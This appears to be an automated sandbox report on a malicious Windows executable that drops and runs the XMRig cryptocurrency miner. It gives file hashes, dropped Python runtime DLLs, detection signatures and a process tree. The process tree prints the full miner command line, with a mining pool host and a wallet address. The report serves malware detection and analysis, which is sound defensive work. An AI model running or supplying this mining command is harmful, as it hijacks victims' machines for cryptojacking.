Analysis

  • max time kernel
    1398s
  • max time network
    1795s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-01-2023 16:26

General

  • Target

    461585182.exe

  • Size

    6.2MB

  • MD5

    0252b6575abd58fac21130cd75fc42a0

  • SHA1

    c59c04a7526a74b1dbc006d09af1ae0bf8a646de

  • SHA256

    ea3eedc043d02375db791cd0d508259dede55a7cffa2f75f813d4e239aa5bf70

  • SHA512

    97825284b85755ccf3fe31961e43f246c0b4436989c3c57c2c1cca84e23ea2bfc0c29d4c239363a78252550900e31f04f5052abe34a2c2dd92fca0dd0fcf9988

  • SSDEEP

    196608:L//dQmRrdA6lXCy1ArqkVpKCX+PrF4ZIegh1fJn9eny:D/dQOlXrAZYCuPJOIegjfJnx

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 13 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\461585182.exe
    "C:\Users\Admin\AppData\Local\Temp\461585182.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3224
    • C:\Users\Admin\AppData\Local\Temp\461585182.exe
      "C:\Users\Admin\AppData\Local\Temp\461585182.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:4724
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c xmrig-6.18.1\xmrig.exe -B --coin=XMR -o xmr.2miners.com:2222 -u 48bfyB5bPyDgw8Xv2GqvhKfAFPVa1MKecSnPeCThPv2h8nt7G1gA9NG9TCFe5csLtudTzGHbz65SFQU7qa1ZQcFsUzryHr1.RIG_6935 -p x
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:816
        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.18.1\xmrig.exe
          xmrig-6.18.1\xmrig.exe -B --coin=XMR -o xmr.2miners.com:2222 -u 48bfyB5bPyDgw8Xv2GqvhKfAFPVa1MKecSnPeCThPv2h8nt7G1gA9NG9TCFe5csLtudTzGHbz65SFQU7qa1ZQcFsUzryHr1.RIG_6935 -p x
          4⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:2412

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\_MEI32242\VCRUNTIME140.dll

    Filesize

    96KB

    MD5

    f12681a472b9dd04a812e16096514974

    SHA1

    6fd102eb3e0b0e6eef08118d71f28702d1a9067c

    SHA256

    d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8

    SHA512

    7d3accbf84de73fb0c5c0de812a9ed600d39cd7ed0f99527ca86a57ce63f48765a370e913e3a46ffc2ccd48ee07d823dafdd157710eef9e7cc1eb7505dc323a2

  • C:\Users\Admin\AppData\Local\Temp\_MEI32242\VCRUNTIME140.dll

    Filesize

    96KB

    MD5

    f12681a472b9dd04a812e16096514974

    SHA1

    6fd102eb3e0b0e6eef08118d71f28702d1a9067c

    SHA256

    d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8

    SHA512

    7d3accbf84de73fb0c5c0de812a9ed600d39cd7ed0f99527ca86a57ce63f48765a370e913e3a46ffc2ccd48ee07d823dafdd157710eef9e7cc1eb7505dc323a2

  • C:\Users\Admin\AppData\Local\Temp\_MEI32242\_bz2.pyd

    Filesize

    81KB

    MD5

    23dce6cd4be213f8374bf52e67a15c91

    SHA1

    dfc1139d702475904326cb60699fec09de645009

    SHA256

    190ade9f09be287fcc5328a6a497921f164c5c67e6d4fcdcb8b8fd6853b06fe2

    SHA512

    c3983e2af9333a8538f68f7048b83c1bb32219c13adac26fd1036c3dc54394a3e2c1e4c0219232badd8e2c95418019b9b22906bdb23a19601447573a93c038a0

  • C:\Users\Admin\AppData\Local\Temp\_MEI32242\_bz2.pyd

    Filesize

    81KB

    MD5

    23dce6cd4be213f8374bf52e67a15c91

    SHA1

    dfc1139d702475904326cb60699fec09de645009

    SHA256

    190ade9f09be287fcc5328a6a497921f164c5c67e6d4fcdcb8b8fd6853b06fe2

    SHA512

    c3983e2af9333a8538f68f7048b83c1bb32219c13adac26fd1036c3dc54394a3e2c1e4c0219232badd8e2c95418019b9b22906bdb23a19601447573a93c038a0

  • C:\Users\Admin\AppData\Local\Temp\_MEI32242\_hashlib.pyd

    Filesize

    60KB

    MD5

    477dd76dbb15bad8d77b978ea336f014

    SHA1

    3ee56105b71c3676c2e4fdaeb7d561f68cf03b9e

    SHA256

    23063b56aa067c3d4a79a873d4db113f6396f3e1fe0af4b12d95d240c4cf9969

    SHA512

    3a97c0a860e3cf97ae53b1f75623c52dcad9b64b70d329511781058a3477bc9faea32c2b8dc4852e7a8c4b0a02c8e3d027cf27e91187069cb35fb4d78d4e73ef

  • C:\Users\Admin\AppData\Local\Temp\_MEI32242\_hashlib.pyd

    Filesize

    60KB

    MD5

    477dd76dbb15bad8d77b978ea336f014

    SHA1

    3ee56105b71c3676c2e4fdaeb7d561f68cf03b9e

    SHA256

    23063b56aa067c3d4a79a873d4db113f6396f3e1fe0af4b12d95d240c4cf9969

    SHA512

    3a97c0a860e3cf97ae53b1f75623c52dcad9b64b70d329511781058a3477bc9faea32c2b8dc4852e7a8c4b0a02c8e3d027cf27e91187069cb35fb4d78d4e73ef

  • C:\Users\Admin\AppData\Local\Temp\_MEI32242\_lzma.pyd

    Filesize

    154KB

    MD5

    401eca12e2beb9c2fbf4a0d871c1c500

    SHA1

    7cfc2f94ade6712dd993186041e54917a3dd15ae

    SHA256

    5361824ddac7c84811b80834eca3acb5fe6d63bf506cf92baf5bd6c3786bf209

    SHA512

    da6b63ba4e2e7886701ff2462c11dd989d8a3f2a2a64bb4f5eed7271b017d69e6cfe7347e3d515fdf615ec81d2bb58367bcc1533b8a5073edf9474a3759f6d7c

  • C:\Users\Admin\AppData\Local\Temp\_MEI32242\_lzma.pyd

    Filesize

    154KB

    MD5

    401eca12e2beb9c2fbf4a0d871c1c500

    SHA1

    7cfc2f94ade6712dd993186041e54917a3dd15ae

    SHA256

    5361824ddac7c84811b80834eca3acb5fe6d63bf506cf92baf5bd6c3786bf209

    SHA512

    da6b63ba4e2e7886701ff2462c11dd989d8a3f2a2a64bb4f5eed7271b017d69e6cfe7347e3d515fdf615ec81d2bb58367bcc1533b8a5073edf9474a3759f6d7c

  • C:\Users\Admin\AppData\Local\Temp\_MEI32242\_queue.pyd

    Filesize

    29KB

    MD5

    8eabd51d536276f3b3257ee975e50bfc

    SHA1

    1a13f707b29b895647a7de254031a6c80eb2cb7a

    SHA256

    24c23d04d274a4c1234f1a1a35b1805e1f17f99968f8baeec0c3b5295f05608a

    SHA512

    cfa027a1e01204078ccab3c2e1910e5806e0294d3ff0225d4713ea3b16cf07589005a0cc342688c3bb0bb6aa31b5401760c3890d46b39038b046072ad7b02b81

  • C:\Users\Admin\AppData\Local\Temp\_MEI32242\_queue.pyd

    Filesize

    29KB

    MD5

    8eabd51d536276f3b3257ee975e50bfc

    SHA1

    1a13f707b29b895647a7de254031a6c80eb2cb7a

    SHA256

    24c23d04d274a4c1234f1a1a35b1805e1f17f99968f8baeec0c3b5295f05608a

    SHA512

    cfa027a1e01204078ccab3c2e1910e5806e0294d3ff0225d4713ea3b16cf07589005a0cc342688c3bb0bb6aa31b5401760c3890d46b39038b046072ad7b02b81

  • C:\Users\Admin\AppData\Local\Temp\_MEI32242\_socket.pyd

    Filesize

    75KB

    MD5

    4ceb5b09b8e7dc208c45c6ac11f13335

    SHA1

    4dde8f5aa30bd86f17a04e09a792a769feb12010

    SHA256

    71f014c3c56661ec93500db1d9f120e11725a8aedabc3a395658275710065178

    SHA512

    858c271b32729762773562ab3dbda8021aa775ba4606f57e891be18d9fe27518a48db0811eff9aafe53fb44557186431c672bbec204fa17a8ae6b86765a02d07

  • C:\Users\Admin\AppData\Local\Temp\_MEI32242\_socket.pyd

    Filesize

    75KB

    MD5

    4ceb5b09b8e7dc208c45c6ac11f13335

    SHA1

    4dde8f5aa30bd86f17a04e09a792a769feb12010

    SHA256

    71f014c3c56661ec93500db1d9f120e11725a8aedabc3a395658275710065178

    SHA512

    858c271b32729762773562ab3dbda8021aa775ba4606f57e891be18d9fe27518a48db0811eff9aafe53fb44557186431c672bbec204fa17a8ae6b86765a02d07

  • C:\Users\Admin\AppData\Local\Temp\_MEI32242\_ssl.pyd

    Filesize

    155KB

    MD5

    dcb25c920292192dd89821526c09a806

    SHA1

    79c9af3a11b41d94728f274b45a7c61dc8bbf267

    SHA256

    4e496cb3b89550cf5883d0b52f5f4660524969c7a5fa35a3b233df4f482d0482

    SHA512

    ae4ed1a66eef0b0c474c6ee498cd1388ef41f3746905257c7f5c0f73abbe3262eb47bb5748d47d55f1bd376308335a089c2b4c15ffe5d7fc21f2a660a4a93ba4

  • C:\Users\Admin\AppData\Local\Temp\_MEI32242\_ssl.pyd

    Filesize

    155KB

    MD5

    dcb25c920292192dd89821526c09a806

    SHA1

    79c9af3a11b41d94728f274b45a7c61dc8bbf267

    SHA256

    4e496cb3b89550cf5883d0b52f5f4660524969c7a5fa35a3b233df4f482d0482

    SHA512

    ae4ed1a66eef0b0c474c6ee498cd1388ef41f3746905257c7f5c0f73abbe3262eb47bb5748d47d55f1bd376308335a089c2b4c15ffe5d7fc21f2a660a4a93ba4

  • C:\Users\Admin\AppData\Local\Temp\_MEI32242\base_library.zip

    Filesize

    1.0MB

    MD5

    5fc720be446fa2effe5a45f7cc90e4e8

    SHA1

    de5488c15c0d2c74a37d1313e4c003e8476acbfb

    SHA256

    d6c62ef7c13ccef351473496cfeba6cfeebef91385f27b35f895169938df682f

    SHA512

    84171a350b677b7e0c50370174f39c104027bc34ca2dcf4687d8a397293c1a0c06429c7423c600a5daabc1515a58d56b71d7528dc5d1864aa90b861dbcfeb2f5

  • C:\Users\Admin\AppData\Local\Temp\_MEI32242\certifi\cacert.pem

    Filesize

    278KB

    MD5

    b18e918767d99291f8771414b76a8e65

    SHA1

    ea544791b23e4a8f47ace99b9d08b3609d511293

    SHA256

    a59fde883a0ef9d74ab9dad009689e00173d28595b57416c98b2ee83280c6e4c

    SHA512

    78a4eac65754fb8d37c1da85534d6e1dd0eb2b3535ef59d75c34a91d716afc94258599b1078c03a4b81e142945b13e671ec46b5f2fcb8c8c46150ae7506e0d8d

  • C:\Users\Admin\AppData\Local\Temp\_MEI32242\libcrypto-1_1.dll

    Filesize

    3.3MB

    MD5

    6f4b8eb45a965372156086201207c81f

    SHA1

    8278f9539463f0a45009287f0516098cb7a15406

    SHA256

    976ce72efd0a8aeeb6e21ad441aa9138434314ea07f777432205947cdb149541

    SHA512

    2c5c54842aba9c82fb9e7594ae9e264ac3cbdc2cc1cd22263e9d77479b93636799d0f28235ac79937070e40b04a097c3ea3b7e0cd4376a95ed8ca90245b7891f

  • C:\Users\Admin\AppData\Local\Temp\_MEI32242\libcrypto-1_1.dll

    Filesize

    3.3MB

    MD5

    6f4b8eb45a965372156086201207c81f

    SHA1

    8278f9539463f0a45009287f0516098cb7a15406

    SHA256

    976ce72efd0a8aeeb6e21ad441aa9138434314ea07f777432205947cdb149541

    SHA512

    2c5c54842aba9c82fb9e7594ae9e264ac3cbdc2cc1cd22263e9d77479b93636799d0f28235ac79937070e40b04a097c3ea3b7e0cd4376a95ed8ca90245b7891f

  • C:\Users\Admin\AppData\Local\Temp\_MEI32242\libcrypto-1_1.dll

    Filesize

    3.3MB

    MD5

    6f4b8eb45a965372156086201207c81f

    SHA1

    8278f9539463f0a45009287f0516098cb7a15406

    SHA256

    976ce72efd0a8aeeb6e21ad441aa9138434314ea07f777432205947cdb149541

    SHA512

    2c5c54842aba9c82fb9e7594ae9e264ac3cbdc2cc1cd22263e9d77479b93636799d0f28235ac79937070e40b04a097c3ea3b7e0cd4376a95ed8ca90245b7891f

  • C:\Users\Admin\AppData\Local\Temp\_MEI32242\libssl-1_1.dll

    Filesize

    686KB

    MD5

    8769adafca3a6fc6ef26f01fd31afa84

    SHA1

    38baef74bdd2e941ccd321f91bfd49dacc6a3cb6

    SHA256

    2aebb73530d21a2273692a5a3d57235b770daf1c35f60c74e01754a5dac05071

    SHA512

    fac22f1a2ffbfb4789bdeed476c8daf42547d40efe3e11b41fadbc4445bb7ca77675a31b5337df55fdeb4d2739e0fb2cbcac2feabfd4cd48201f8ae50a9bd90b

  • C:\Users\Admin\AppData\Local\Temp\_MEI32242\libssl-1_1.dll

    Filesize

    686KB

    MD5

    8769adafca3a6fc6ef26f01fd31afa84

    SHA1

    38baef74bdd2e941ccd321f91bfd49dacc6a3cb6

    SHA256

    2aebb73530d21a2273692a5a3d57235b770daf1c35f60c74e01754a5dac05071

    SHA512

    fac22f1a2ffbfb4789bdeed476c8daf42547d40efe3e11b41fadbc4445bb7ca77675a31b5337df55fdeb4d2739e0fb2cbcac2feabfd4cd48201f8ae50a9bd90b

  • C:\Users\Admin\AppData\Local\Temp\_MEI32242\python310.dll

    Filesize

    4.3MB

    MD5

    54f8267c6c116d7240f8e8cd3b241cd9

    SHA1

    907b965b6ce502dad59cde70e486eb28c5517b42

    SHA256

    c30589187be320bc8e65177aeb8dc1d39957f7b7dcda4c13524dd7f436fb0948

    SHA512

    f6c865c8276fe1a1a0f3267b89fb6745a3fc82972032280dce8869006feb2b168516e017241a0c82bdae0f321fab388523691769f09a502fc3bd530c1c4cacf1

  • C:\Users\Admin\AppData\Local\Temp\_MEI32242\python310.dll

    Filesize

    4.3MB

    MD5

    54f8267c6c116d7240f8e8cd3b241cd9

    SHA1

    907b965b6ce502dad59cde70e486eb28c5517b42

    SHA256

    c30589187be320bc8e65177aeb8dc1d39957f7b7dcda4c13524dd7f436fb0948

    SHA512

    f6c865c8276fe1a1a0f3267b89fb6745a3fc82972032280dce8869006feb2b168516e017241a0c82bdae0f321fab388523691769f09a502fc3bd530c1c4cacf1

  • C:\Users\Admin\AppData\Local\Temp\_MEI32242\select.pyd

    Filesize

    28KB

    MD5

    a7863648b3839bfe2d5f7c450b108545

    SHA1

    10078d8edb2c46a2e74ec7680d2db293acc5731c

    SHA256

    8b4b5d37b829ba885281134d9948f249e0ecd553ae72deda6a404619fdf4ccc5

    SHA512

    a709865709abe0c39d68e2ced4aa4387cd173ea9aa0a04c9794733b5bf3584d50256a9f756fee1dec144a9d724b028264763196eeb7b89ab2697ff26d83db843

  • C:\Users\Admin\AppData\Local\Temp\_MEI32242\select.pyd

    Filesize

    28KB

    MD5

    a7863648b3839bfe2d5f7c450b108545

    SHA1

    10078d8edb2c46a2e74ec7680d2db293acc5731c

    SHA256

    8b4b5d37b829ba885281134d9948f249e0ecd553ae72deda6a404619fdf4ccc5

    SHA512

    a709865709abe0c39d68e2ced4aa4387cd173ea9aa0a04c9794733b5bf3584d50256a9f756fee1dec144a9d724b028264763196eeb7b89ab2697ff26d83db843

  • C:\Users\Admin\AppData\Local\Temp\_MEI32242\unicodedata.pyd

    Filesize

    1.1MB

    MD5

    cf1eda3f804dfa64ac00cad29ab243e1

    SHA1

    3b0f08fa679227fa635490725e17460a9de8092d

    SHA256

    a3aa957cf891a411a4e22e41aa4053265eccba4d47b5abe6475789ebba7fcca0

    SHA512

    1ba213a7e5916fe628d80efdeade35de7db88cc8118f8ac348dc7f7a7c5977975c9cf63d774136259fc055790eb96644bde2ee19c044126f1d59d665e4bc8d97

  • C:\Users\Admin\AppData\Local\Temp\_MEI32242\unicodedata.pyd

    Filesize

    1.1MB

    MD5

    cf1eda3f804dfa64ac00cad29ab243e1

    SHA1

    3b0f08fa679227fa635490725e17460a9de8092d

    SHA256

    a3aa957cf891a411a4e22e41aa4053265eccba4d47b5abe6475789ebba7fcca0

    SHA512

    1ba213a7e5916fe628d80efdeade35de7db88cc8118f8ac348dc7f7a7c5977975c9cf63d774136259fc055790eb96644bde2ee19c044126f1d59d665e4bc8d97

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.18.1\xmrig.exe

    Filesize

    7.8MB

    MD5

    6f4532e49d65c2be0355b222f96e06e8

    SHA1

    268e90ce25e01bbb205f6ae3f493f8da36a61480

    SHA256

    acaf8e844ef7f4f65033ebe9546c394cc21bce175dac8b59199106309f04e5ab

    SHA512

    85f495b0bbd0673df376f44e912f9a0a8d201c2843f1a9efa64d93703a2d8ba2b6fa2638a747e79604715d26ddfc07de26ba43d03adf86290d928b442bf09207

  • memory/816-160-0x0000000000000000-mapping.dmp

  • memory/2412-161-0x0000000000000000-mapping.dmp

  • memory/2412-163-0x000002A90C8A0000-0x000002A90C8C0000-memory.dmp

    Filesize

    128KB

  • memory/2412-164-0x000002A90E2A0000-0x000002A90E2E0000-memory.dmp

    Filesize

    256KB

  • memory/2412-166-0x000002A90E2E0000-0x000002A90E300000-memory.dmp

    Filesize

    128KB

  • memory/2412-165-0x000002A90C8E0000-0x000002A90C900000-memory.dmp

    Filesize

    128KB

  • memory/2412-167-0x000002A90C8E0000-0x000002A90C900000-memory.dmp

    Filesize

    128KB

  • memory/2412-168-0x000002A90E2E0000-0x000002A90E300000-memory.dmp

    Filesize

    128KB

  • memory/4724-132-0x0000000000000000-mapping.dmp